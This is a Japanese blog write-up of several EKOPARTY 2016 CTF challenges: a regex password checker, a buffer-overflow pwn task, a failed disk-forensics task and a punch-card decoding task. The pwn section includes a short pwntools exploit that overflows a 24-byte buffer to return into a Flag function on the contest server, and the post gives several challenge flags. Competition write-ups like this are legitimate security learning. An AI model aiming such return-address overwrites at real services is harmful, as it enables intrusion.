    internal class Program
    {
        private static bool check_regex(string regex, string input)
        {
            Regex regex2 = new Regex(regex, RegexOptions.None);
            Match match = regex2.Match(input);
            return match.Success;
        }

        private static void Main(string[] args)
        {
            Console.WriteLine("EKO AUTH CHECKER");
            Console.WriteLine("----------------");
            Console.Write("Password: ");
            string input = Console.ReadLine();
            if (Program.check_regex("^.{40}$", input) && Program.check_regex("\\w{3}\\{.*\\}", input) && Program.check_regex("_s.*e_", input) && Program.check_regex("\\{o{2}O{2}o{2}", input) && Program.check_regex("O{2}o{2}O{2}\\}", input) && Program.check_regex("sup3r_r3g3x_challenge", input))
            {
                Console.WriteLine("Welcome master");
                return;
            }
            Console.WriteLine("IMPOSTOR");
        }
    }
}

こんな感じ

正規表現で, パスワードチェックを行っている場所に注目.

if (Program.check_regex("^.{40}$", input) && Program.check_regex("\\w{3}\\{.*\\}", input) && Program.check_regex("_s.*e_", input) && Program.check_regex("\\{o{2}O{2}o{2}", input) && Program.check_regex("O{2}o{2}O{2}\\}", input) && Program.check_regex("sup3r_r3g3x_challenge", input))

これをなんとなーく読んで

"^.{40}$" 任意の1文字が40回で始まりと終わり つまり40文字

\www\{(任意の1文字0回以上繰り返し)\} → EKO{} ?

_s(任意の1文字0回以上繰り返し)e_

\{ooOOoo

OOooOO\}

sup3r_r3g3x_challenge

EKO{ooOOoo_sup3r_r3g3x_challenge_OOooOO}

Ultra baby(pwn25)

not strippedだったので, gdbで関数見てみると「Flag」という明らかな関数があるのがわかる.

startさせて, callするも

EKO{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

表示されない

値を入力させるプログラムだったのでBOFを疑い, Aをいくつか入力してみると24回目でBOF.

よって, BOFしたあとにFlag関数にreturnするようにしてあげる.

from pwn import *

r = remote('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 55000)
r.sendline('A'*24 + p64(0x07f3))
print r.recvall()

EKO{Welcome_to_pwning_challs_2k16}

Alice secret message(for175)

解けなかった.

zipを解凍すると, 7zで圧縮されたファイルがでてくる.

それも解凍すると, 4GBくらいのイメージファイルが.

fileコマンドで確認すると

DOS/MBR boot sector

FTK Imagerで確認すると, いくつか削除されたファイル(画像が4枚ほど, pdfが1つ, txtが1つ)があるのがわかる.

取り出して見てみると, 画像とpdfはドラッグとかについてのもので超怪しい.

pdfのファイル名は「The_Compleat_Recreational_Drugs_Handbook」で, 80ページ越えのもの.

なんやこれ・・・・って思って中身パラパラ見てみるもわからない.

画像のExifはどうだろうと思って見てみたり, Google画像検索とかで元画像探して、見つけるもよくわからない.

お手上げ~

この問題, CTFtimeにもまだWriteupが上がっていなくて, めっちゃ気になる.

Old but gold(misc250)

終了2, 3時間前ぐらいに取り掛かったやつ.

人間パンチカード読み取り機になって解いていた.

確か最初見たときは,

「問題文にQRコードってあるやんけ!やったろ~」

---------- zip解凍 ----------

「・・・・・・・・・・・・・・・・」

ってな感じで, なにがなんだかさっぱりで諦めてた.

終了が近くなり, 配点大きいやつに取り組もうと問題漁ってたら, この問題が結構解かれていたのでやってみた.

結果・・・・

めちゃくちゃ惜しいところまでいっていたらしく, 悔しすぎる.

与えられるファイルは14枚の画像ファイル.

f:id:ywkw1717:20161030031543p:plain

その内の1枚

f:id:ywkw1717:20161030031624p:plain

これ, 初見でなんなのか分かる人は, 変態か昔の人だけだと思ってる.

調べてみるとどうやら, 「IBMの80欄カード」ってものらしく, 1928年にIBMによって作られたものらしい.

ここを参考にした.

http://www.wikiwand.com/ja/%E3%83%91%E3%83%B3%E3%83%81%E3%82%AB%E3%83%BC%E3%83%89

で, 確か残り3時間切っていて, 実装力のない自分にとっては目視で解くのが一番速いと思ったので, 目視解読スタート.

一応, リンク先のままだと見辛いので, 簡単な対応表は作っていた.

Y1 A
Y2 B
Y3 C
Y4 D
Y5 E
Y6 F
Y7 G
Y8 H
Y9 I
X1 J
X2 K
X3 L
X4 M
X5 N
X6 O
X7 P
X8 Q
X9 R
01 /
02 S
03 T
04 U
05 V
06 W
07 X
08 Y
09 Z

ひたすら読んでいく.

やはり, 反復して出てくるものは覚えられるので, 途中「読める・・・・読めるぞ・・・・!!!」みたいになってた.

得られた文章↓

IT WAS THE SIXTIES. HE WAS TRYKNG TO FIGURE OUT HOW TO
MANUALS TRY1NG TO LEARN HOW TO PROGRAM AND SPEND A LOT
OF TIME PUNCHING THOSE NARDS. CAN YOU IMAGINE WHAT COULD
USING THIS OLD TECHNOLOGY. GOOD LUCK. YOU WILL NEED IT.
HAPPEN IF YOU FAKE A SMALL MISTAKE IN ON OF THOSE PUNCHED
ERROR DUE TO A SMALL AND ALMOST INSIGNIFCANT MIST4KE BUT
THE BUG. BUT THOSE WER3 THE OLD DAYS. CAN YOU FIND THE FLAG
USE THOSE PONCHED CARDS. HE LIKES TO PROGRAM IN FORTRAN
CARDS. AFTER THOSE HOURS WAITING ROR A RESULT. THEN IT SAYS
IN THOSE DAYS YOUR ONLY OPTION W4S READ LARGE BOOKS AND
AND COBOL. B(Y58)T EVEN AFTER ALL THOSE YEAR HE DOESNT KNOW
HOW TO PROPERLY MRITE SECURE CODE IN THOSE LANGUAGES
THAT WILL TAKE MORE TIME TO MEBUG AND FIGURE OUT WHERE WAS
ONCE UPON A TEME. THERE WAS A YOUNG HACKER CALLED MJ

(途中3つ穴が開いている場所があって, どの特殊記号かわからなかった)

ここで, 重要なことに気づく.

「これ, 順番合ってんのか!!!!!!???????」

とりあえず, 残り30分くらいだったのでそのまま読む.

FLAGそのままかいてないんかーい, ってなったけどせっかくここまで解いたので諦めず考える.

文章には途中, いくつか間違っているところが存在する.

これか?と思い, 並べてみるもよくわからない.

ここでタイムアップ.

他の方のWriteup見る限り, ストーリーが成り立つように並び替えて, 間違っている箇所を順番に読んでいけばいいらしい.

もう少し時間があれば解けたって言いたい.

とても悔しかった.

まとめ

pwnが1問解けた喜びがあった.

全ジャンル, ちょっとずつしか解けていないみたいな感じだったので, チームメンバーそれぞれ, 担当しているジャンルの強化が必要だなと強く実感した.

今回のCTF,

デコンパイルパンチカードCTF

みたいな印象が残った.